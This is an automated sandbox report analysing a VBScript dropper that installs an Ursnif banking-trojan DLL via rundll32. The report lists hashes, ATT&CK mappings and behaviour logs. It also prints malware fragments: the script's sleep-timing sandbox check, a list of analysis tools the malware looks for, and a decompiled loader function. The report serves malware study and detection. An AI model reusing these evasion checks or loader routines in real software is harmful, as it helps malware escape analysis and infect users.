Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE

Found evasive API chain (may stop execution after checking system information)

Source: C:\Windows\SysWOW64\rundll32.exe

Evasive API call chain: NtQuerySystemInformation,DecisionNodes,Sleep

graph_23-16243

Source: C:\Windows\System32\wscript.exe TID: 7144

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Window / User API: threadDelayed 375

Jump to behavior

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor

Source: C:\Windows\System32\wscript.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 23_2_7000EEA1 FindFirstFileExW,

23_2_7000EEA1

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Windows\SysWOW64\rundll32.exe

Debugger detection routine: NtQueryInformationProcess or NtQuerySystemInformation, DecisionNodes, ExitProcess or Sleep

graph_23-16243

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 23_2_70002116 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

23_2_70002116

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 23_2_6FFA1A0A LoadLibraryA,GetProcAddress,

23_2_6FFA1A0A

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_700081A6 mov eax, dword ptr fs:[00000030h]	23_2_700081A6
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_7000EB9A mov eax, dword ptr fs:[00000030h]	23_2_7000EB9A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_7004A96D mov eax, dword ptr fs:[00000030h]	23_2_7004A96D
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_7004A89C mov eax, dword ptr fs:[00000030h]	23_2_7004A89C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_7004A4A3 push dword ptr fs:[00000030h]	23_2_7004A4A3

Source: C:\Windows\System32\wbem\WmiPrvSE.exe

Process created: C:\Windows\System32\rundll32.exe rundll32 C:\Users\user\AppData\Local\Temp\melange.yuv,DllRegisterServer

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_70002116 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_70002116
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_70001E38 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_70001E38
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 23_2_70006707 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_70006707

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\System32\wscript.exe

File created: melange.yuv.0.dr

Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,GetSystemDefaultUILanguage,VerLanguageNameA,	23_2_6FFA11BF
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	23_2_70009925
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	23_2_7001234F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	23_2_70011BC3
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	23_2_70012524
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoW,	23_2_70009E09
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	23_2_70011E65
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	23_2_70011EB0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: EnumSystemLocalesW,	23_2_70011F4B

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 23_2_700022EB cpuid

23_2_700022EB

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 23_2_6FFA10ED GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError,

23_2_6FFA10ED

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 23_2_6FFA1F7C CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError,

23_2_6FFA1F7C

Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: procmon.exe
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tcpview.exe
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avz.exe
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cports.exe
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: lordpe.exe
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: icesword.exe
Source: wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: autoruns.exe
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741682153.00000274C5538000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ollydbg.exe
Source: wscript.exe, 00000000.00000003.741553420.00000274C5515000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.741282156.00000274C5514000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: regshot.exe

Stealing of Sensitive Information

Yara detected Ursnif

Source: Yara match	File source: 23.2.rundll32.exe.2ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.rundll32.exe.4638d0f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.4b694a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.6ffa0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.4b694a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.882183834.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.870417706.0000000004630000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Ursnif

Source: Yara match	File source: 23.2.rundll32.exe.2ca0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.3.rundll32.exe.4638d0f.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.4b694a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.6ffa0000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.rundll32.exe.4b694a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.882183834.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000003.870417706.0000000004630000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	121 Windows Management Instrumentation	Path Interception	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	121 Scripting	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	13 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	11 Native API	Logon Script (Windows)	Logon Script (Windows)	1 Disable or Modify Tools	Security Account Manager	24 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Exploitation for Client Execution	Logon Script (Mac)	Logon Script (Mac)	1 Process Injection	NTDS	13 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	121 Scripting	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	135 System Information Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Rundll32	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 File Deletion	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
gnAYDP69br2v.vbs	0%	Metadefender		Browse

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\melange.yuv	100%	Avira	TR/AD.UrsnifDropper.vsbvn

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
23.2.rundll32.exe.2ca0000.0.unpack	100%	Avira	HEUR/AGEN.1108158		Download File
23.2.rundll32.exe.6ffa0000.2.unpack	100%	Avira	HEUR/AGEN.1210012		Download File

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox Version:	34.0.0 Boulder Opal
Analysis ID:	560537
Start date:	26.01.2022
Start time:	16:57:03
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 37s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	gnAYDP69br2v.vbs
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winVBS@6/2@0/0
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 3.8% (good quality ratio 3.6%) Quality average: 80.3% Quality standard deviation: 27.6%
HCA Information:	Successful, ratio: 96% Number of executed functions: 18 Number of non-executed functions: 49
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .vbs Override analysis time to 240s for JS/VBS files not yet terminated

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 23.211.6.115
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, e12564.dspb.akamaiedge.net, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, ctldl.windowsupdate.com, store-images.s-microsoft.com-c.edgekey.net, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
17:01:07	API Interceptor	1x Sleep call for process: wscript.exe modified

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\adobe.url

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	MS Windows 95 Internet shortcut text (URL=<https://adobe.com/>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	108
Entropy (8bit):	4.699454908123665
Encrypted:	false
SSDEEP:	3:J25YdimVVG/VClAWPUyxAbABGQEZapfpgtovn:J254vVG/4xPpuFJQxHvn
MD5:	99D9EE4F5137B94435D9BF49726E3D7B
SHA1:	4AE65CB58C311B5D5D963334F1C30B0BD84AFC03
SHA-256:	F5BC6CF90B739E9C70B6EA13F5445B270D8F5906E199270E22A2F685D989211E
SHA-512:	7B8A65FE6574A80E26E4D7767610596FEEA1B5225C3E8C7E105C6AC83F5312399EDB4E3798C3AF4151BCA8EF84E3D07D1ED1C5440C8B66B2B8041408F0F2E4F0
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	[{000214A0-0000-0000-C000-000000000046}]..Prop3=19,11..[InternetShortcut]..IDList=..URL=https://adobe.com/..

C:\Users\user\AppData\Local\Temp\melange.yuv

Download File

Process:	C:\Windows\System32\wscript.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	696320
Entropy (8bit):	6.7012968874378664
Encrypted:	false
SSDEEP:	12288:TOgVktK4arTQrNn4iq0hS7M+M8uFKLrseaCoZSSi7Pq6b4bi:agWtja/QrNn4iqJY8v3sen1Dq3bi
MD5:	E999967D5B4EFD08C2C7FCCE637BC8AA
SHA1:	53B18ED4427ACFE90A6D8B7119942CCE7159B567
SHA-256:	8CD975F66D825DD37B06EF0465D160C65301726CC2A4BDFAD2EAFBAC14536F74
SHA-512:	95B12CAA57C273B6A059FE7E30D451FA447B100851B8C078EEB8E54AC5DB063E7565BCA72A7941BF7393E4E5526279709B586FE9B5F840D1B9B19BB611B1E4FB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......................L.......z.............~......\|......{.......z....L........~......q.....................}.....Rich............PE..L......W...........!.....X...................p......................................i.....@..........................a..l....a..P............................p...3...8..T............................9..@............p..(............................text....W.......X.................. ..`.rdata.......p.......\..............@..@.data...,....p.......\..............@....gfids.......`.......j..............@..@.reloc...3...p...4...l..............@..B................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	ASCII text, with very long lines, with CRLF line terminators
Entropy (8bit):	4.767477149162963
TrID:
File name:	gnAYDP69br2v.vbs
File size:	2488066
MD5:	694a1a5ee37e5c161a37d4166a677850
SHA1:	adfdbca254f8f810735cf2224aca1630af762bea
SHA256:	0993c606df923ac8f174d7789fb494633c89d99d48747a91b866dc410cbd5814
SHA512:	ea02fa36914d4013e3b7323acf97a69535ecb06b72dba1806a9d4eadc03b19e43063d1ee7bf4c86b0fc3a944c9f240e1bb1cd3674e437ec9f3fb403c7f60e324
SSDEEP:	24576:cLx+U9YLFB1Dt2W5P6T8qd76yeD53H9cjnQG8m/cizoANcvc/ZoTnqo/7aU:+RHQG8KqANnK
File Content Preview:	UISA = Timer()..For Ysdhh = 1 to 7..WScript.Sleep 1000:..Next..ASDQWE = Timer()..if ASDQWE - UISA < 5 Then..Do: Asrtd = 4: Loop..End if..const oL = 78..const iH = 95..' provenance denunciate. priggish, maxim Polyphemus lymphoma conscience Becky Gruyere do

File Icon


Icon Hash:	e8d69ece869a9ec4

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: wscript.exePID: 6536, Parent PID: 3440

General

Target ID:	0
Start time:	16:58:08
Start date:	26/01/2022
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\gnAYDP69br2v.vbs"
Imagebase:	0x7ff6ebb80000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: WmiPrvSE.exePID: 6620, Parent PID: 792

General

Target ID:	21
Start time:	17:01:06
Start date:	26/01/2022
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff7e33a0000
File size:	488448 bytes
MD5 hash:	A782A4ED336750D10B3CAF776AFE8E70
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6788, Parent PID: 6620

General

Target ID:	22
Start time:	17:01:06
Start date:	26/01/2022
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 C:\Users\user\AppData\Local\Temp\melange.yuv,DllRegisterServer
Imagebase:	0x7ff7e5740000
File size:	69632 bytes
MD5 hash:	73C519F050C20580F8A62C849D49215A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rundll32.exePID: 6772, Parent PID: 6788

General

Target ID:	23
Start time:	17:01:07
Start date:	26/01/2022
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 C:\Users\user\AppData\Local\Temp\melange.yuv,DllRegisterServer
Imagebase:	0x250000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000017.00000002.882183834.0000000004B69000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif_1, Description: Yara detected Ursnif, Source: 00000017.00000003.870417706.0000000004630000.00000040.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: rundll32.exePID: 6772, Parent PID: 6788COMMON

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	12%
Signature Coverage:	7.4%
Total number of Nodes:	1303
Total number of Limit Nodes:	46

Executed Functions

Function 7004A96D Relevance: 13.8, APIs: 9, Instructions: 318
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,000006C4,00003000,00000040,000006C4,7004A3C0), ref: 7004AA2A
VirtualAlloc.KERNEL32(00000000,0000003E,00003000,00000040,7004A41F), ref: 7004AA61
VirtualAlloc.KERNEL32(00000000,00011426,00003000,00000040), ref: 7004AAC1
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 7004AAF7
VirtualProtect.KERNEL32(6FFA0000,00000000,00000004,7004A94C), ref: 7004ABFC
VirtualProtect.KERNEL32(6FFA0000,00001000,00000004,7004A94C), ref: 7004AC23
VirtualProtect.KERNEL32(00000000,?,00000002,7004A94C), ref: 7004ACF0
VirtualProtect.KERNEL32(00000000,?,00000002,7004A94C,?), ref: 7004AD46
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 7004AD62

Memory Dump Source

Source File: 00000017.00000002.882581732.000000007004A000.00000040.00000001.01000000.0000000C.sdmp, Offset: 7004A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_7004a000_rundll32.jbxd

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: 2a6d906b896be9674878654af31795075e0e483536a4b99ab448420acfd02bd9
Instruction ID: 66020e3fabe3816e431a5534d1c565300b21a6bd2d7ffa864c9e8c5b6a7741f7
Opcode Fuzzy Hash: 2a6d906b896be9674878654af31795075e0e483536a4b99ab448420acfd02bd9
Instruction Fuzzy Hash: B3D182765401009FEB95DF14CA90F5537A6FF8B710B0E10A8ED0A5FA5AD7B1A830DBAC

Uniqueness

Uniqueness Score: -1.00%

Function 6FFA14FE Relevance: 13.6, APIs: 9, Instructions: 107
sleepnativesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E6FFA14FE(intOrPtr _a4) {
				void _v316;
				signed int _v332;
				long _v344;
				long _v348;
				char _v356;
				char _v360;
				long _v364;
				long _v368;
				void* __edi;
				long _t25;
				long _t28;
				long _t31;
				long _t32;
				long _t36;
				void* _t42;
				intOrPtr _t44;
				intOrPtr _t49;
				long _t50;
				void* _t56;
				signed int _t59;
				signed int _t60;
				void* _t62;
				intOrPtr* _t63;

				_t25 = E6FFA1F7C();
				_v348 = _t25;
				if(_t25 != 0) {
					L18:
					return _t25;
				} else {
					goto L1;
				}
				do {
					L1:
					_v344 = 0;
					_t28 = NtQuerySystemInformation(8,  &_v316, 0x138,  &_v344); // executed
					_t50 = _t28;
					_t59 = 0x13;
					_t11 = _t50 + 1; // 0x1
					_t60 = _v332 % _t59 + _t11;
					_t31 = E6FFA1B8C(0, _t60); // executed
					_v368 = _t31;
					Sleep(_t60 << 4); // executed
					_t25 = _v368;
				} while (_t25 == 9);
				if(_t25 != 0) {
					goto L18;
				}
				_t32 = E6FFA195C(_t50); // executed
				_v364 = _t32;
				if(_t32 != 0) {
					L16:
					_t25 = _v364;
					if(_t25 == 0xffffffff) {
						_t25 = GetLastError();
					}
					goto L18;
				}
				if(_a4 != 0) {
					L11:
					_push(0);
					_t62 = E6FFA1D2D(E6FFA1768,  &_v356);
					if(_t62 == 0) {
						_v368 = GetLastError();
					} else {
						_t36 = WaitForSingleObject(_t62, 0xffffffff);
						_v368 = _t36;
						if(_t36 == 0) {
							GetExitCodeThread(_t62,  &_v368);
						}
						CloseHandle(_t62);
					}
					goto L16;
				}
				if(E6FFA1637(_t50,  &_v360) != 0) {
					 *0x6ffa41b8 = 0;
					goto L11;
				}
				_t49 = _v360;
				_t63 = __imp__GetLongPathNameW;
				_t42 =  *_t63(_t49, 0, 0); // executed
				_t56 = _t42;
				if(_t56 == 0) {
					L9:
					 *0x6ffa41b8 = _t49;
					goto L11;
				}
				_t19 = _t56 + 2; // 0x2
				_t44 = E6FFA1D8B(_t56 + _t19);
				 *0x6ffa41b8 = _t44;
				if(_t44 == 0) {
					goto L9;
				} else {
					 *_t63(_t49, _t44, _t56); // executed
					E6FFA1E7C(_t49);
					goto L11;
				}
			}

0x6ffa150d
0x6ffa1516
0x6ffa151a
0x6ffa162e
0x6ffa1634
0x00000000
0x00000000
0x00000000
0x6ffa1520
0x6ffa1520
0x6ffa1531
0x6ffa1535
0x6ffa153b
0x6ffa1543
0x6ffa1548
0x6ffa1548
0x6ffa154d
0x6ffa1556
0x6ffa155a
0x6ffa1560
0x6ffa1564
0x6ffa156b
0x00000000
0x00000000
0x6ffa1571
0x6ffa1578
0x6ffa157c
0x6ffa161f
0x6ffa161f
0x6ffa1626
0x6ffa1628
0x6ffa1628
0x00000000
0x6ffa1626
0x6ffa1585
0x6ffa15d8
0x6ffa15d8
0x6ffa15e9
0x6ffa15ed
0x6ffa161b
0x6ffa15ef
0x6ffa15f2
0x6ffa15fa
0x6ffa15fe
0x6ffa1606
0x6ffa1606
0x6ffa160d
0x6ffa160d
0x00000000
0x6ffa15ed
0x6ffa1593
0x6ffa15d2
0x00000000
0x6ffa15d2
0x6ffa1595
0x6ffa1599
0x6ffa15a2
0x6ffa15a4
0x6ffa15a8
0x6ffa15ca
0x6ffa15ca
0x00000000
0x6ffa15ca
0x6ffa15aa
0x6ffa15af
0x6ffa15b6
0x6ffa15bb
0x00000000
0x6ffa15bd
0x6ffa15c0
0x6ffa15c3
0x00000000
0x6ffa15c3

APIs

Part of subcall function 6FFA1F7C: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6FFA1512,747863F0,00000000), ref: 6FFA1F8B
Part of subcall function 6FFA1F7C: GetVersion.KERNEL32 ref: 6FFA1F9A
Part of subcall function 6FFA1F7C: GetCurrentProcessId.KERNEL32 ref: 6FFA1FA9
Part of subcall function 6FFA1F7C: OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6FFA1FC2

NtQuerySystemInformation.NTDLL ref: 6FFA1535

Part of subcall function 6FFA1B8C: VirtualAlloc.KERNELBASE(00000000,6FFA1552,00003000,00000004,?,?,6FFA1552,00000001), ref: 6FFA1BE2
Part of subcall function 6FFA1B8C: memcpy.NTDLL(?,?,6FFA1552,?,?,6FFA1552,00000001), ref: 6FFA1C7D
Part of subcall function 6FFA1B8C: VirtualFree.KERNELBASE(?,00000000,00008000,?,?,6FFA1552,00000001), ref: 6FFA1C98

Sleep.KERNELBASE(00000001,00000001), ref: 6FFA155A
GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 6FFA15A2
GetLongPathNameW.KERNELBASE(?,00000000,00000000), ref: 6FFA15C0
WaitForSingleObject.KERNEL32(00000000,000000FF,6FFA1768,?,00000000), ref: 6FFA15F2
GetExitCodeThread.KERNEL32(00000000,?), ref: 6FFA1606
CloseHandle.KERNEL32(00000000), ref: 6FFA160D
GetLastError.KERNEL32(6FFA1768,?,00000000), ref: 6FFA1615
GetLastError.KERNEL32 ref: 6FFA1628

Memory Dump Source

Source File: 00000017.00000002.882437220.000000006FFA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6FFA0000, based on PE: true

Associated: 00000017.00000002.882429861.000000006FFA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882445989.000000006FFA3000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882458284.000000006FFA5000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000017.00000002.882465797.000000006FFA6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6ffa0000_rundll32.jbxd

Similarity

API ID: ErrorLastLongNamePathProcessVirtual$AllocCloseCodeCreateCurrentEventExitFreeHandleInformationObjectOpenQuerySingleSleepSystemThreadVersionWaitmemcpy
String ID:
API String ID: 2016936029-0
Opcode ID: e738555fa212b1b217565ff8eb03c43d3f85c483dfe490115f09cf577c5190f5
Instruction ID: 7ef5bfe1d142bbae6db805f09c1ed7540757b3285b9aec7abdbc95e071c51865
Opcode Fuzzy Hash: e738555fa212b1b217565ff8eb03c43d3f85c483dfe490115f09cf577c5190f5
Instruction Fuzzy Hash: 8C31B272904715EBD701DF248844A5FBBECFF86764F06092AF521C7290EB32D5188FA2

Uniqueness

Uniqueness Score: -1.00%

